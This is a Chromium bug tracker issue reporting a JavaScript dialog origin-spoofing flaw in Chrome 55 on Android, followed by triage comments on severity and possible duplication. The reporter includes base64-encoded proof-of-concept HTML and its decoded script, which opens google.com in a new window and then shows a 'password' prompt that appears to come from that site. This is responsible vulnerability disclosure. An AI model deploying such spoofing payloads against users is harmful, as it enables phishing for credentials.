Issue metadata
Sign in to add a comment
|
Security: Chrome JavaScript dialogs(alert/prompt/confirm) Spoof
Reported by
xis...@gmail.com,
Jan 1 2017
|
||||||||||||||||||||||||
Issue description
VULNERABILITY DETAILS
Chrome is prone to a dialog box origin spoofing vulnerability. The vulnerability presents itself as dialog boxes from inactive windows may appear in other active windows. This issue may allow a remote attacker to carry out phishing style attacks.
VERSION
Chrome Version: 55.0.2883.91 [Stable]
Operating System: [Android]
Phone: Nexus Phone
REPRODUCTION CASE
POC(1)
<a href="data:text/html;base64,PHNjcmlwdD4NCmZ1bmN0aW9uIGNjKCl7DQoJIHByb21wdCgicGFzc3dvcmQiKTsNCn0NCg0KZnVuY3Rpb24gYmIoKXsgDQoJbGluayA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCglsaW5rLmhyZWYgPSAnaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbSc7DQoJbGluay50YXJnZXQ9Im5ldyI7DQoJbGluay5jbGljaygpOw0KCWRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQobGluayk7DQp9DQoNCmZ1bmN0aW9uIGFhKCl7DQoJYmIoKTsNCgljYygpOw0KfQ0KPC9zY3JpcHQ+DQo8YnV0dG9uIG9uY2xpY2s9ImFhKCkiPkNsaWNrIG1lPC9idXR0b24+">Click me</a>
POC(2)
<object data="data:text/html;base64,PHNjcmlwdD4NCmZ1bmN0aW9uIGNjKCl7DQoJIHByb21wdCgicGFzc3dvcmQiKTsNCn0NCg0KZnVuY3Rpb24gYmIoKXsgDQoJbGluayA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCglsaW5rLmhyZWYgPSAnaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbSc7DQoJbGluay50YXJnZXQ9Im5ldyI7DQoJbGluay5jbGljaygpOw0KCWRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQobGluayk7DQp9DQoNCmZ1bmN0aW9uIGFhKCl7DQoJYmIoKTsNCgljYygpOw0KfQ0KPC9zY3JpcHQ+DQo8YnV0dG9uIG9uY2xpY2s9ImFhKCkiPkNsaWNrIG1lPC9idXR0b24+"></object>
base64 payload code:
<script>
function cc(){
prompt("password");
}
function bb(){
link = document.createElement('a');
link.href = 'https://www.google.com';
link.target="new";
link.click();
document.body.appendChild(link);
}
function aa(){
bb();
cc();
}
</script>
<button onclick="aa()">Click me</button>
,
Jan 2 2017
Assigning to nparker@ for triage.
,
Jan 4 2017
,
Jan 4 2017
I'm setting Medium severity for now. Please feel free to adjust as needed.
,
Jan 4 2017
,
Jan 4 2017
,
Jan 4 2017
,
Jan 4 2017
I'd agree w/ medium, since it's showing attacker-controlled content over another origin. avi -- Is this a race? Seems like if the click comes before the prompt(), the latter shouldn't run on the new page.
,
Jan 4 2017
I believe this is a dupe of bug 606104 .
,
Jan 4 2017
,
Jan 5 2017
HI,My POCs work well in latest version of android chrome/canary. But i don't reproduce the poc of bug 606104 . Online demo:http://xisigr.com/test/spoof/chrome/dialog.html
,
Jan 4
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
|||||||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||||||
Comment 1 by mmoroz@chromium.org
, Jan 2 2017